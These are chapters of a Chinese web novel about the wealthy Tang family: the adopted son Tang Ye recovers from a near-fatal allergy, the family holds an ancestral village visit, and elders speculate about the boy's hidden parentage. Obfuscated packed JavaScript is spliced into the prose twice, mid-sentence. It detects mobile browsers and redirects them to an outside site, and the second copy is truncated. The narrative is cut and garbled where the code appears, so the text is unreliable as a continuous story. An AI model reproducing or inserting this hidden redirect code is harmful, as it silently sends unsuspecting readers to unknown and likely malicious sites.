时间仿佛在这一刻变得无比漫长,每一秒都像是煎熬。唐天看着显示器上的数字,看着那些起伏的曲线,他的心中充满了无助和无力。他想象着弟弟正在经历的痛苦,想象着他在黑暗中挣扎的模样,心中的疼痛几乎让他无法呼吸。 休息室里,方源向唐天解释:“医生说,气管插管让人体非常难受,而且会有很多不良反应,所以要持续给小晔使用麻醉剂。他可能有一段时间都会昏昏沉沉,甚至不认得你,不太记得事。二少爷别着急,以后我们还有大把时间陪着他呢!陪他聊天,喂他吃饭,扶他走路、锻炼身体……”唐笑靠在椅背上,怀里抱着已经比自己高的二弟,也小声地安抚:“小晔会没事的。” “如果他死了,我怎么办?”唐天满脑子都是弟弟变成了陌生的样子,缩在姐姐怀里,唐天梦呓般的自言自语,又或是想对一墙之隔的那个陷入深深睡眠的人说。 “如果他死了,他就不会知道,我已经买好了整一墙的模型,他想要哪个就要哪个,或者全部都送给他;如果他死了,前几天约定的他病好后去打篮球,就再也去不了了;如果他死了,约定好的去海边,他就再也去不了了;如果他死了,就没办法再弹琴、画画了,他画的画儿我还没看过呢;如果他死了,就听不到我刚为他写的的曲子了;……” “你看,我们有这么多的事可以一起做,但为什么我们一直都没做?明明我只要一转身,他就在那里,他那么听话,有一天一定会原谅我。但现在,他还会再等我的回应吗?” “我明明已经在改了啊……” 这几个星期唐天一直浑浑噩噩,他每天都到医院看望弟弟,看他一成不变地艰难呼吸着,好像一直都没有变,但好像又有什么东西变了。 两个月后,两个少年考完中学入学考试,各自取得不错的成绩。在医生已确认过唐晔能长途飞行后,唐山海夫妇带上三个儿女一起到迪拜度假。 沙滩上,唐天紧紧抱着弟弟,急切地说:“你一定会和我一起报知行的,对吧?和我一起嘛!要不是我心里一直想着你,怎么可能考得这么好?” 唐晔翻了个白眼,嘲讽道:“你也可以说你是踩了狗屎运。” 唐天忍不住弹了一下他的脸,抱怨说:“你病好后,嘴巴怎么变得这么不可爱。” 唐晔顺势向后倒在柔软的沙滩上,假装喊道:“我死了!” 唐天扑上去挠他痒痒:“让你装死!不能拿这开玩笑!” 唐晔连声求饶:“哎哟,救命啊!姐姐救我!” 唐天笑道:“大姐正在和帅哥聊天呢,没空理你。” 不远处遮阳伞下,看着他俩打闹的归秀兰,声音冷冷地对丈夫说:“小天现在和小晔的感情还真好呀!” 唐山海放下报纸,“秀兰,这孩子刚死里逃生!少说两句吧。” 似乎听到了他们的对话,唐晔有所感似的侧头看了看养父母。 这时唐笑有点闷闷不乐地走回来。 “姐,咋了,那帅哥不喜欢你?” 唐笑耸耸肩:“沟通不来,人家是俄罗斯人,英语不太好,讲了半天鸡同鸭讲!” “那你直接说Яоченьтебялюблю好了。”唐晔笑着,脱口而出。 这句话一出口,他自己都被惊住了。 “你还会俄语啊,啥时候学的?” 对呀,我什么时候学过的呢?唐晔陷入回忆的漩涡里。 那个年轻女孩,她的嘴一张一合,在对自己说什么? Яоченьтебялюблю,是这句吗? 还是,прощайнавсегда? …… Nuit,今天哥哥问我:“你不想知道你妈妈是谁吗?” 哎,知道又有什么用。那么多年她都没有找我,怕是,不在了吧? 而我更怕知晓的是,她根本就没想过要见我。 …… 刚旅游回来不久,得知唐晔被省实录取,唐天气得不行,明明说好了一起报知行! 他不顾祖父不悦,跑回云山大宅、闯进晴园质问弟弟。 唐晔轻飘飘地说,“知行不录取我,我也没办法。” “要不是你改了志愿,以你的分数,他们不收你?” 唐晔不答话,继续弹拨着桌上的古琴。 国庆假期刚开始,姐姐告诉唐天,已经说服小晔搬到万里书院与他同住,但唐天却赌气说:“谁要和他住啊,我自己住得挺好的!” 唐晔刚巧走进起居室,听到这话,立刻转身离开。 唐天嘴硬,身体却很诚实,赶紧追上唐晔, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14942750|160792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把他圈在臂弯里,费尽心思哄他,终于让弟弟笑了起来,像轻风拂过、在枝头摇曳的花儿。 2014年末的最后一天,省实的四名同学在沪城参加全国初中物理联赛金奖,终于返回了羊城。 从机场返回市区的路上,唐天一直在诉说,何柏文静静的陪在他身边。 “他从ICU出来后,由于气管插管,他嗓音哑哑的,却甜甜的叫我,哥哥。” “他敞开心扉的模样,就像在我7岁那年,不,或许更像今年春节,我对他那么坏,但他依然问我能不能做朋友时。” “他忘了很多事情,忘了那该死的学校和该死的我。” 听了唐天的话,爱看法律科普的何柏文疑惑说:“你们当时,没有把那个厨师送到派出所吗?明知人家牛奶过敏又在食物里放牛奶,这个算是故意杀人了吧?” “因为、因为是我强迫小晔吃掉的啊!”唐天像是不愿意承认似的,抱着头。 “那时候,他去你们家有几个月了吧,你不知道他牛奶过敏?” “我有印象,只是没想到会这么严重!他病得虚弱、昏昏沉沉,本来人又挑食,我觉得他应该多补充营养,就硬塞他吃下去……我只想他快点变好啊……” 何柏文轻轻咳了一声:“我明白了。你也懂你对他的感情,只是不知道应该怎么做。” “你不用害怕。在我们年幼时,都会有很多错误的表达方式。” “人跟人一起,就算不喜欢,也请别伤害。用暴力或言语伤害别人的行为本身是不对的,教唆孩子进行这种行为的成人更是违法的。” “没有教会你用正确方式表达情感的大人,才是错误的。” “但说到你,唐天,我接下来的话可能会让你觉得难受,但如果你不去想办法应对自己对他的狂躁行为,我怕有一天,结果不堪设想。” 唐天默不作声,既没有愤怒,也没有否认。 “我和你……一起去寻求专业心理咨询?”何柏文试探着。 “不!我妈妈,不会同意的。她不会愿意知道她一心栽培的儿子,被发现有精神障碍!” “我不让小晔进我房间……我在房间里,每天爬上爬下,去抵抗那种兴奋与冲动……又或者泪流不止,为着以前对他做过的事,为着这阴沉的冬天、飞过的乌鸦、吵死人的说话声、无尽的黑夜……” 他们俩坐在车里,看着从省实校门口走出来的两个男生,暖阳下,他们都对着自己的哥哥招着手,兴奋地跑过来。 “……我更怕他知道后,会像以前那样,厌恶我,远离我。” 2015年元月元日,晴园。 紫袍少年把瓷碗里的最后一把鱼粮撒进湖中,湖里荡漾起一片翻滚的金灿灿的光芒。 他净了手,轻拂衣摆,端坐在石凳上,面前横陈着一架古朴的七弦琴。 当最后一缕金光消失在眼前,银辉铺洒庭院,古琴流光。 少年轻轻拨弄着琴弦,试音之后,手指开始在琴弦上跳跃起舞。随着他的手指移动,古琴声在夜空中飘荡开来。琴声起初悠扬轻柔,如同有人独酌湖畔,低声吟唱;随后,琴声逐渐变得激昂高亢,又仿佛那人披星踏月,纵声歌唱。 少年星目半闭,浅笑嫣然,手指在琴弦上翻飞,手腕随着琴声起伏跌宕。 庭院中的桂花阵阵飘香,微风轻拂,在月光的照耀下轻轻摇曳,仿佛也在聆听这美妙的琴声。 当最后一个音符轻轻落下,少年轻抚琴弦,脸上浮现出满足的微笑。他站起身,望向那轮随时日愈发丰满的明月。 拱门外,方源紧随侧耳聆听琴曲的唐万里身后,把一份资料奉给老人:“老爷探问小晔少爷近来所好,但少爷并未明言,只是推荐了一份资料,询问此人是否可获得我们集团的青年保障计划资助。” “姓名:梁一民 年龄:15岁 就读院校:……” 老者扫了一眼,“都依了他!” 17. 第 17 章 满月被薄雾覆上轻纱,老人一手提着木桶,一手拿着木瓢,一瓢一瓢轻轻洒向枇杷树根下。 才二月初,枝头上已抽出新绿,仿佛一片片翡翠在微风中轻轻摇曳。有个枝头上,枇杷花已悄然绽放,沐浴在月光下,洁白如雪,散发出淡淡的香气。 一如他的妻。在那片清冷广袤的青藏高原上,她穿着一袭紫色长裙,灵动得如翩跹的蝴蝶。那肤色洁白如雪,发间飘着淡淡的香气。 年轻的自己醉倒在满月之下。 妻随着复员的男人回到沿海,从头打拼。他肯吃苦,任怨耐劳;而她聪慧过人,一如他的明灯。 同行了一年又一年。当不再年轻的男人幻想着一辈子就与她携手白头时,妻却离他而去。 襁褓里初生的孩子,与妻一样有一双漆黑而明亮的眼睛。如同初见那一晚,青藏高原上的星。 …… 2015年已过了二月立春,乍暖还寒,不到10度的气温,配上南粤这湿冷湿冷的气候,何耀祖这把几十年来早就适应了京城供暖的老骨头真有点受不了。但今天可不一样。 他已经十来年没回过家乡了,这次回乡,一是为了祭祖,二是见见自家的后辈们,三也定是要拜访一下老友。 这不,自家的事情一结,他们的车队就往隔壁县城开过去,那里是他早年并肩共事的好友——唐万里的家乡。今天,他也带上唐家老小回来祭祖。 在大城市这个事儿那个应酬的,干脆就在这里聚聚,哥俩反而能安静说个话。 何家的车队开进村子里时,村民们刚准备放礼炮却发现,车不对!人群你看看我我看看你,村长过来了点头哈腰解释了几句才知道,唐家人还没到呢! 幸好他的唐老弟也没让他等太久,村长向这位京城来的大人物没汇报两句呢,听到村口的欢迎炮响了起来,唐家的车队就开进村了。 前面一辆无法不吸引人注目的车里,坐着的正是许久未见的好友唐万里。两个从参军时就认识的、现在都已七八十岁的老人,又是十几年未见,先是矜持地握了握手,又互相在手上加重了力道晃了晃,相视一笑,张开双臂抱着对方,最后竟像孩童一样,笑着想抱起对方较量力气呢!惹得陪同何老出行的市府秘书长何瑶、以及唐万里的多年的老助手方源一阵紧张,赶紧陪着笑把两位老头子分开。 唐万里得意得拉过与他同车到达的唐笑说:“我大孙女儿。” 和母亲一样娇小玲珑的唐笑,落落大方地问候了何爷爷,又一一向何家各位打了招呼。 这边何瑶向何耀祖介绍道:“唐家大小姐可了不得,17岁开始在英国剑桥大学留学,期间还做了两年的英国首相的经济顾问呢,多了不起!” 唐笑连忙解释道:“何秘书长这折煞我也!也就是在首相办公室的经济顾问的手下,帮着做数据分析这些事儿而已。” 何瑶说:“大小姐过谦了!你叫我瑶姐就好了,大家亲热些!”她和何东何西等人喊何耀祖是堂叔,她自己还是正处级干部,现在却让唐万里的孙辈喊她姐,这自降身份得有点那个。唐笑连忙低头连连说“不敢”。 第二辆车上坐着的是唐氏集团现任总裁唐山海,以及太太归秀兰,下车后大家又是一阵寒喧。 “你的宝贝孙子呢,不带过来见见?”何耀祖问。 归秀兰连忙回答:“不敢劳何老挂念,男孩们不懂事,起得晚,在后面跟着过来了。” 这时一台面包车开过来停在远一点的地方,下来了两个中年保姆。归秀兰一见到她们就喊:“怎么回事,少爷怎么还没来!”其中有个尖嘴的阿姨回答道:“二少爷一早就起来准备了,就三少爷!起得又晚又磨磨蹭蹭的。” 另一个方脸的高大的阿姨说:“你昨天是怎么告诉三少爷的?说迟一点去也没事,含含糊糊的!还敢说三少爷磨蹭,他起床早饭都没吃洗了把脸就走了……” “那你不会自己问刘管家吗?赖我没说清楚!”两人很没规矩地当众吵了起来。 “老吴!二少爷吃早饭了没?”归秀兰紧张地问。 尖嘴的老吴立即赔上笑脸答道:“吃过了,太太放心!” “好生伺候的,小心我剥你的皮!”归秀兰瞪了她一眼。 这时一台黑色豪车才姗姗来迟。 村民们都已经等了许久。早就听说以前村东头这万里家、早年当了兵、回来娶了位新疆姑娘,又发了迹,后来生了儿子生了孙子。而两位小孙子,长得可都是俊美异常,既漂亮又有才华。大家都忍不住伸长脖子想看看这两位传说中的豪门贵公子。 两个保姆赶快小跑过去帮少爷们打开车门。 首先从左侧下来的是唐天。他从车里一跃而出,伸了个大懒腰深呼了一口气。他的头发变得更长了,在头上已经能扎起一个高马尾,头颅高昂着,脸庞虽瘦却红润,两道眉毛上挑,凤眼朱唇。纯黑色的羊绒长大衣没有扣扣子,被风一吹像斗篷一样张扬开来,下身搭配灰色的运动裤和白色高帮运动鞋,活力十足。他一边走向自己的父母、一边对着周围的人礼貌地挥手说着“大家好,久等了”。 人群们看这位少年,眼光不由得被他的精神气儿吸引过去,虽然是唐家的小辈,却不断有人大喊:“二少爷好!” 刚才的方脸大块头阿姨拉开了右边的车门,车里的少年没有立即下车,而是等阿姨靠近,一只手护着车顶,另一只手伸向他,他才扶着阿姨的手,慢悠悠地下了车。看着是短发的他,微微自然卷的发荫却长得盖过眉毛,再加上这有点傲慢的少爷作派,看得搞了一辈子教育的何耀祖心里啧了一声。他身上穿着件厚厚的浅灰色短毛呢外套,钮扣扣得严严实实,倒是下身穿的黑色直筒休闲裤和短靴,显得腿很长。身边的阿姨摸了摸他的手,从提包里掏出条浅灰格子围巾又给他围了两圈,几乎把他的整个脸都藏了起来。他没有看人群,径直走向爷爷的方向。 这边厢,唐天已经跟何家各位打过招呼了,又对着慢腾腾走来的弟弟喊道:“小晔,快过来!” 等到唐晔站在唐天身边,何老才发现,这老三比自己的哥哥还要高一点。他的小脸从围巾里抬出来时,下颌线清晰流畅得几乎没有折角,高挺的鼻子,立体的嘴唇颜色偏深,缺乏血色的白皮肤更显得眼窝深陷,让他有种奇怪的感觉,好像之前就在哪见过这孩子。 唐晔向何家众人深深地点了个头,简单地说了句:“你们好!”声音柔软却清清冷冷。 他抬起头看向何家各位叔伯时,眼里闪现了一道光芒:“何院长,您好!我是唐晔,上次何嘉南生日在您家见过一面。您还记得吗?” “怎么会不记得!我们家电视天天在重播你们比赛的视频呢!你可真是小儿的良师益友!”何西笑着说。 唐晔颔首,小声地说了句“过奖”,便不再说话。 唐天说:“原来您是何嘉南的爸爸呀?他今天怎么没一起来呀?” 唐晔柔柔地说:“那你不问问何馆长,柏文哥哥为啥不来。” “啊?刚才真是失敬了!前天我们四个才一起去玩来着,也没见他们说起。”唐天大大方方笑着向两位长辈再次致意。 提到何西的儿子,何爷爷才想起这男孩是谁,就是上个月在沪城举行的全国中学物理联赛总决赛金奖获得者、南粤省实中学的四人小组中的另一名初一男生。在获奖队伍中,他们是唯一的一支有两名初一学生的队伍! “你就是那个和何西的儿子一起获奖的那个孩子吧?”何耀祖说,“何爷爷我虽然没有到现场,但全部这些成绩,何爷爷我都看过了,你们很棒,做得很好!”作为教育界首脑,他对这个外表看起来有点阴郁的孩子开始改观了。 唐晔听他也提到何嘉南,表情轻松了一些,礼貌答道:“是指导老师及师兄们的好创意和深入计划,我只是做些力所能及的小任务。” “你这一说就太过谦虚了,特别是最后一场机器人展示,你可是大显身手啊!”何西真心地感叹道。 何爷爷一边吐槽着老兄弟:“唐老弟,这孩子长得不像是你家的啊?!”一边走近唐晔一步,想拍拍这孩子的肩膀。唐晔看到老人家准备拍向自己的宽厚大手,脸色一沉,向另一边一闪身避开了。何爷爷的手停了下来,场面突然变得有点尴尬。 唐万里却有点得意地嘲讽自己老哥哥:“嘿,谁叫你说他不是我家娃?!活该!” 这时村长过来提醒唐家众人,吉时已到,该进祠堂了。 唐万里致意说,“老哥哥,失陪了,很快。等下我们坐下慢慢聊。”就带着儿子众人走上几级楼梯进到雕梁画栋、修筑气派的大屋。 唐晔向何老微微躬了躬身表示道歉,跟在姐姐哥哥身后也向祠堂走去。上了几级台阶,他突然停下来,转过侧脸,直直地看着何老的眼睛说:“我爷爷说我是唐家的孩子,那我就是。”他的眼神扫过何老、何家众人,又扫过聚集在附近看热闹的村民们。 这时刚好吹来一阵风,把他的发荫吹开了一点。冬日里的和煦阳光直射进他的眼睛。何家众人一晃眼——他的眼珠,竟然是如深海般浓郁的墨蓝色! 唐万里的秘书方源领着何家众人,说着条件简陋招待不周,往早已布置好了的村里会堂的去休息喝茶。客人坐定,方源事忙,诚恳告了歉便走了出去张罗。 何瑶的八卦之魂早已高涨,巴不得唐家人都不在呢!这时何瑶看何耀祖皱眉喝了口茶,便凑到何耀祖身边说道,“叔,您可别跟那唐家那小孙子置气啊。小孩子家家没见识。” 何老不置可否地笑笑。几天时间接触下来,何老已经看穿这堂侄女,自己就能唱完一出大戏。 她又说:“这孩子啊,不一般。据说从小被唐万里关在他家大宅里不让他出去,也没上过学。” “没上过学?这是怎么回事?”身为主管部门的前最高领导,何耀祖提高了音量。 “我跟您说啊,他原来是没有学籍的,等到去年二三月,快要小学升初中时,才找人托了关系去补办了学籍,然后就参加了我们四大名校的校招考试。据说啊,这个可怕了——四个学校的理科卷子他都是全部满分、包括附加题。你说他们家就算有钱到让一个学校漏题吧,怎么全部都漏?再说长子也没有满分的。怎么说呢,校招里的附加题部分甚至是高中知识水平的,如果真是自己做出来的,那挺吓人的这小孩。后来就去了四校中以理科闻名的省实中学。现在和何院长家公子是同班吧?” 何西不太看得起这个族姐何瑶的作派,但毕竟都是成年人了,还是客气地应和着,“是啊,据小儿说,除了这次竞赛,上一学期,大小考试这唐晔同学没有不满分甚至加分的。大家都是当堂做的卷子。而且,他们这次比赛的机器人程序,是他和另一个男孩在两个多星期就搞出来的!比同龄孩子不知厉害多少!” “这样的孩子,没有上过一天学,却比上过学的孩子要聪明得多?我们是不是应该反思一下了?”何耀祖打趣自己。 何瑶没想到自己踩到马腿上,连忙找补:“呀,这倒不是唐家不给他上学,据说是,这孩子从小体弱多病,病到出不了门的程度。” “嗯哼!唐万里说的呀?”何耀祖不以为然,“在羊城这样的大城市连国家九年义务教育制度都没普及么?” “这个,倒是听我儿子说过,他有心肺功能异常。说是见过他发病,根本呼吸不了。”何西解释到。 “是啊,看那孩子,脸白得可怕,又瘦成那样儿。肯定是有身体原因。”何瑶赶着给何耀祖顺毛。 “我倒觉得他皮肤白是白,是因为像白种人,感觉看他那五观,嘿,这样一说,何西,你不觉得他像个混血儿?”何东插了个嘴。他当然也从自己就读于知行的儿子何柏文那儿听他说过他在班里关系最好的同学唐天、以及唐天的弟弟又和侄子何嘉南在省实是好友这么巧的事儿,只是他也没见过这唐家两兄弟真人,现在见了两人,想起儿子对他们的描述,倒是串联起来了。 “何馆长,这个嘛,还真给你说中了。”何瑶更加神秘兮兮,“你看他,像是唐夫人生的?唐笑和唐天,都与自己妈有几分相像,这个老三嘛,与唐山海倒是有丁点儿像,但哪有一分归秀兰的影子?” “这样一说还真的是。” “这归秀兰有趣得很,重男轻女非常严重。自己早年生了个女儿,不过问。拼死拼了个儿子出来,宠得像命根儿一样,就想着凭着男丁继承唐家的一切。但现在看,儿子虽然也一表人才吧,但没看出之后有什么商业天赋,倒是女儿在老爷子和唐山海的教导下,年纪轻轻就显露出过人的商业头脑。再说这个老三,真的是被唐老爷子‘关’在家里的,连唐山海身边的人都说,唐总一年见不到他几次。你说他是男丁,还是脑瓜这么厉害的男丁吧,归秀兰不把他宠上天了?但你看看刚才她对老三那态度,连后妈都不如!” “……” “都是传闻,你们当故事听听。……据说好多年前,有个年轻外国女人,抱着个病得快死的小男孩去医院求人救命,医院勉为其难收治了吧,那外国女人却一分钱都拿不出来,只嚷着打一个电话就有人送钱来。但一天之后,情况真就变了:唐家去了人。各种检查各种测试都做了,唐山海亲自去守着那女人和孩子。但是嘛,传说其实唐山海也不知情。当时那医院盛传,唐家要求加急做DNA测试,进行比对的父系DNA,并不是从唐山海身上直接取的,而是他装在小瓶子里带过来的!” 何瑶喝了口茶,“他不但不是归秀兰的孩子,很大可能还不是唐山海的孩子,唐家老爷子又把他当成宝……这说明什么?很有可能他就是唐老爷子自己的种!以前唐老夫人就是维族人,传言唐老爷子找了个和故去的太太十分相似的外国女人,金屋藏娇有了娃……” 三个搞教科文出身的男人都低头不语。何瑶还在说,“唐老夫人去世二三十年了,唐万里军人出身,现在身体还硬朗得很,是吧?明明是自己儿子,却要把他当成孙子,这也真是造孽哟!” 没人答话。 所谓流言,说着说着自己就信了。 “不过,我以前听过另一个故事。……我大概知道,这个孩子的父母是谁了。”何耀祖一边捻着手指一边慢慢地说。 跪拜上香敬酒烧纸,再辟辟啪啪放完长长的鞭炮,很快祭祖仪式就完成了。 在老秘书方源的陪同下,唐万里走了村里布置一新的会客堂,一边陪着笑说老哥久等了,一边再与何耀祖分宾主坐好,举杯喝茶。这时,村里到处热闹、烧鞭炮、杀鸡宰猪,茶室里就这四位还呆得住。其他人、包括何东和何瑶都在村里到处转悠。 就在方源躬身在给何西倒茶时,听见何耀祖迫不及待地小声问唐万里:“你老实交待,这个老三,是谁的崽?” 何西不由得大吃一惊!忙装作没听到,低头喝了一口热茶。这老哥俩关系多好,这也太直接了吧!毕竟私生子这些事,不是这么容易说得出口吧……却马上又听到自家堂叔接着问:“是不是唐晚星的?” 唐晚星?是谁? 何耀祖深知唐老弟与发妻情深意重,绝不可能有所谓的第三者。当年他们在青海驻扎时,唐万里便与当地歌舞慰问团的一位美丽的异族姑娘情投意合。复员后,他首先便迎娶了她。维吾尔姑娘玛合玛丽毅然离开故土,随唐万里远赴南粤。几年后便育有大儿子唐山海,夫妻二人同心协力,共同创业,历经无数艰辛。时至今日,唐氏已稳占南方半壁江山。 而自古美人如名将,不使人间见白头。二十多年操劳,她身体状况并不太好,在四十多岁高产龄又突然怀孕。生二儿子唐晚星时,竟难产而死。 唐万里这一下并没马上答话。 “是吧?!” 唐万里收起笑容,认真看着自己几十年老哥哥的脸,正色回答道:“是。” “晚星现在在哪?传闻不是说……” “那一年,老张把他的尸体抬回来时,我看着他冰冻的尸体,看了他几乎一天一夜,他都没能活过来。他已经死得透透的了。” “而他当时的确做了那件事是不?确实是他,把那个女孩放跑了对不对?!他为什么要这样做啊!!那么大好前程……那现在这个孩子,这副混血模样……是他和那女孩的?” “……是。”唐万里眼神一转,又马上澄净。 “传闻中那女孩回到她的国内?” “我不知道。” “那这孩子是怎么来到你身边的?” “是她自己养不活这孩子,送回给我的!当时她把4岁多的孩子送回来时,孩子已经病得离死不远了!我让她发誓与孩子断绝关系、绝不讨回这个孩子,我才同意让人救他的。” “4岁多?他与何西儿子都是01年的……那是05、还是06年的事?” 唐万里的眼神再一转,他印象中那女孩出现在公众视野中,好像是……06年?“06年初。”他斟酌一下,答道。 何耀祖想了一下,“你跟孩子说过这事、说过他的亲妈没?” “我怎么会让他知道自己有个这样的妈、这样乱七八糟的身世!他只需记住,自己是山海夫妇的儿子。” “这话有人信吗,唐老弟,长相差十万八千里!” “我救了他,他就只是唐家的孩子。就算他妈以前是谁、现在是谁,也与他毫无关系。” “4岁多,那孩子也记得事了吧?” “他已经不记得了!”唐万里得意地哼笑了一声,说,“他被送回来时,年龄又小病得又重,醒过来啥都不记得了。” 停了一会儿,何耀祖又说:“还有,你把这样的一个孩子留在身边养大,不是坐实了晚星当年的事?……所以你才一直把他关在家里?” 唐万里哼笑一下,并不答话。 何耀祖觉得不可理喻:“你知不知道关于这孩子的身世,其实私下里传闻满天飞?连个保姆都敢暗戳戳搞他,你真以为他不知道?你看他的眼神!你以为孩子就不懂、不在意这些东西?” “知道。他不需要在意。” “你这又是为什么呀,想留他,又不护他……” 唐万里的笑容里带着丝丝冷漠:“他只要代替晚星好好活着就行。” “他不是唐晚星的替身!……疯了你!哎!” 对于这一点,何耀祖绝对不赞同老兄弟。但他又能如何,说到底也是家事。他只能默默祈祷这孩子没病没灾的。 刚才在祠堂里祭完祖,问了下家人们没什么安排,唐晔便自己一个人在村里到处走动。 正闲逛时,他被鼎沸的人声吸引到一个院落前。他走到门口一看,原来大家是在准备今天中午的祭祖大餐。 有个强壮的男人用强有力的双臂架起一只刚开腔破腹的猪,扔在巨大的布满鲜血的石头案台上,拿起小刀仔细地给猪刮毛。那边几个妇女在杀鸡:有人一手紧掰着鸡头,另一手拿着大菜刀往鸡脖子一割,鸡血喷了出来,妇女放下菜刀,利落地抓起鸡拼命挣扎的两只爪子把它倒吊起来,让鸡血直直滴到大碗里;另外三位妇女,轮流把手伸进还冒着白烟的大铁盘里抓出被烫得硬挺挺的鸡,开始拔毛、给鸡开膛破腹。这时有个妇女一边喊着“开水!借过”一边从人群中穿过,大喊了句“小心!”就半蹲着把手里端着的整锅开水倒进烫鸡的大铁盆里,可能还是有几滴飞溅到别人身上,她们一边躲避着一边对那个妇女笑骂着什么;刚端来热水的妇女也一屁股坐下来捞了一只鸡出来拔毛,一边和妯娌们笑着骂着。有两个挽起袖子的男人抬着半人高的几层蒸笼走到砖炉的位置准备蒸食物,那边还有杀鱼的、拿着水管冲洗巨大铁锅准备炒菜的,空气里还飘着热油炸东西的香味……热烈混乱又有序的一片人群。 靠近院子门口右边墙角下的人群稍微安静一点点,但也不是太过安静。一群几岁到十几岁的孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她在围裙上擦了擦手,拿过一张板凳掀起围裙擦了擦,放在她身边不远处拍拍,微笑着对唐晔说,“三少爷,坐吧!” 他听话地坐在凳子上。 但其实气氛已经变了——几个女孩子由高声谈笑变成小声说着悄悄话,目光不停地投向他。他看多了这样的场景,学校里很多女孩子见到他也会是这种反应,只是这几个女孩由于手脏,没有用手捂住嘴巴而已。 他突然对招呼她坐下的女孩说:“我叫唐晔。” 许是说得太轻柔,还是大人们的声音太大了,那女孩一下子没听清。她大声说:“什么?” 唐晔不由得提高音量:“我叫唐晔,你直接叫我名字就好了!” 女孩笑了,“我叫唐晓燕。”说完,她把几个姐妹也介绍给唐晔。大家又互相问了年级,在哪念书之类的。一旦开始了学校的话题,大家都收不住话头,劈劈啪啪地说个不停。唐晔也加入了话题,说起了他和同学们一起玩过的一些游戏、学校的活动等等。 他说话时,女孩们都专注地看着他的脸,突然间其中一个女孩悄声说了句什么,其他几人都嘘了她。这让他觉得有点儿不自然起来。并不是害羞,而是他担心自己具有异族血统的脸,会被她们排斥。他渐渐停住话头。 刚那个叫晓燕的女生突然问他:“哎,你们男生不是也会互相讨论女孩子吗?” 他想起他之前和何嘉南讨论过关于张宇的话题,再联想起他虽没加入话题、但却在教室里听到的别的男生们讨论的女生的长相身材的言语等,脸微微一红,小声说,“嗯,会呀!” 晓燕笑得坦然:“我们女生也会。我们都觉得,你长得很好看。”他的脸色舒展开来,大大方方地说声“谢谢。”气氛在女孩子们相互调笑的害羞的脸色里又融洽了起来。 这时候,最小的孩子跑到唐晔面前,把沾着水和泥沙的的小手伸到他面前,嘴里嘟囔着几个字。他没听清。晓燕解释道,刚才他家二少爷过来,提了一大包红包、还有一大袋子很高级的糖果饼干啊巧克力等,沿途分给村里的所有的孩子们。现在大家都对二少爷礼貌有加。她们拿了红包交给爸妈,糖果巧克力吃了一点,还留着许多在口袋里。小的孩子估计一下子就吃完了,看到大孩子们把糖果放口袋里,就拼命想钻到姐姐们的怀里想拿她们藏在口袋里的呢。 唐晔想起哥哥和自己出门时,除了吉他啥也没拿,吴姨和陈姨也没拿什么别的东西,心下了然,不由得暗暗嗤笑归秀兰这些像作秀似的无聊小动作。 懵懂的几岁男孩见这个大哥哥一直没给糖果给自己,不由得走前一步,就想向平时对待村里其他大哥大姐那样,想把手伸进他口袋掏东西。 唐晔本能反应向后想避开,但刚好小男孩也没站稳,直接扑到他怀里,刚才玩水时沾到的两手泥水、嘴角上残留的巧克力酱、全部蹭在他浅灰色的毛呢外套上。 几个大姐姐吃了一惊,怕这个新来的有钱少爷一生气会把这个闯祸的孩子怎么样,其中一个可能是他亲姐姐的,就用本地话吼了那孩子两句。那孩子哇的一声哭了。 唐晔想起时常浮现在脑海里关于一个孩子的片断——在那个衣不蔽体食不果腹的幼年,那个孩子不也这样伸着脏兮兮的小手向来风景区游玩的的衣着光鲜亮丽的人们要食物么。和现在这孩子有什么不同,甚至远远不如这孩子呢。他很自然地伸出手臂,把小弟弟圈在怀里,轻声安慰道,小弟弟别哭。 晓燕见他好像没生气,还把小弟弟抱在怀里安抚,不由得说道,“三少爷,你这人挺好的。刚开始,还觉得你们这样的人会很难接近呢!” 唐晔笑了笑,“你可以直接叫我名字。我们这样的人?和你们有什么区别吗?又不多只眼睛多只手。” “噗哧!”女孩们都笑了。“有钱人啊!” 他故意皱起眉头:“你道德法治课成绩一定不怎样,社会主义制度下人人平等。” “哈哈哈……刚才在村口时,大家见到那个老人家大官想和你握手什么的,结果你避开了。所以在想着小弟扑向你,你会不会一生气打他什么的。” 他摇摇头,坦白说:“我小时候有过一点不太好的记忆,所以讨厌大人碰我。” “哦!” 唐晔怀里抱着小男孩,大家互相又继续热烈地聊着学校的事、小时候的故事、村子里的琐事等。其间,女孩们把贝壳啊菜等洗好装篮装盘交给大人。帮厨的人们来来往往。 时间过得很快,不远处大人们把饭菜们都做得差不多了,陆陆续续把东西抬出去。院落里只剩下他们。 他们七八个孩子没有动,还继续围坐在洗完菜和贝壳、还未来得及倒水的铁盘边聊着天。许是被这个大哥哥抱了许久也没讨到糖果,最小的弟弟有点不高兴了,从唐晔怀里挣脱开来,小手扬起盆子里的混着泥浆的脏水就往他身上泼去。 “你干什么!”几个女孩见状不好,特别是看起来像男孩亲姐姐的那个吓坏了,连忙紧抱着弟弟。其他几个女生也顾不上十几岁孩子心里的男女大防,赶紧来到他身边,团起自己的围裙给他擦脏水。 但浅灰纯色的毛呢外套哪是这么容易清洁的呢,虽然她们努力地擦过了,但还是有很多污渍留在衣服上。晓燕带头表示歉意,唐晔笑笑表示没事,回去再洗。 这时,小男孩的姐姐——那个叫晓芬的女孩——又发出一声尖叫! 原来,小男孩趁她手一滑,从她怀里挣开,直扑到唐晔前面,说时迟那时快、把唐晔原来揣在上衣口袋里的、刚才因整理衣服而露出一个角的、祭祖时爷爷代祖宗名义派给后代的红包,一把抓在手里,再一手把被他小手沾湿了的红包扯烂了! 好多张百元大钞散落在地上。 晓芬欲哭无泪。弟弟三番两次这样搞事儿,别说这家人本就财大气粗看着就不好惹,就算是普通人、佛都有火了吧。她半蹲半跪着,侧身护着弟弟。 在墙角下玩耍的另外两个小学生样的男孩也停了手走了过来,被地上的钱吸引了目光。 